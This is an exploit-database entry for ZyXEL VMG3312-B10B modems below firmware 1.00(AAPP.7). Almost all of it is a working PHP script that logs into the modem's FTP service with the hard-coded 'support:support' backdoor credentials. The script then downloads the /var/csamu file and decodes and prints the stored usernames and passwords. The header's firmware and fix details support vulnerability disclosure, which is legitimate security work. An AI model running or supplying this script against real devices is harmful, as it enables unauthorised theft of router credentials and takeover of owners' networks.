ZyXEL VMG3312-B10B Credential Disclosure

`# Exploit Title: ZyXEL VMG3312-B10B - Leak Credentials < 1.00(AAPP.7)  
# Date: 2018-10-28  
# Exploit Author: numan tA1/4rle @numanturle  
# Vendor Homepage: https://www.zyxel.com/  
# Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/  
# Firmware: 1.00(AAPP.0)D7   
# Tested on: windows  
# Fixed firmware: 1.00(AAPP.7)  
  
  
<?php   
$ftp_server = "192.168.1.1"; // modem ip address  
$ftp_conn = ftp_connect($ftp_server) or die("ftp server close");  
$login = ftp_login($ftp_conn, "support", "support"); // backdoor   
  
$local_file = "crackme";  
$server_file = "/var/csamu"; // base64_encode files  
  
if (ftp_get($ftp_conn, $local_file, $server_file, FTP_BINARY)) {  
$open = file($local_file);  
foreach($open as $u_p){  
$bomb = explode(" ",$u_p);  
$user = $bomb[0];  
$pass = base64_decode($bomb[1]);  
if(!empty($pass)){  
echo "{$user}:{$pass}<br>";  
}else {  
continue;  
}  
}  
}else {  
echo "pfff";  
}  
ftp_close($ftp_conn);   
?>  
  
  
`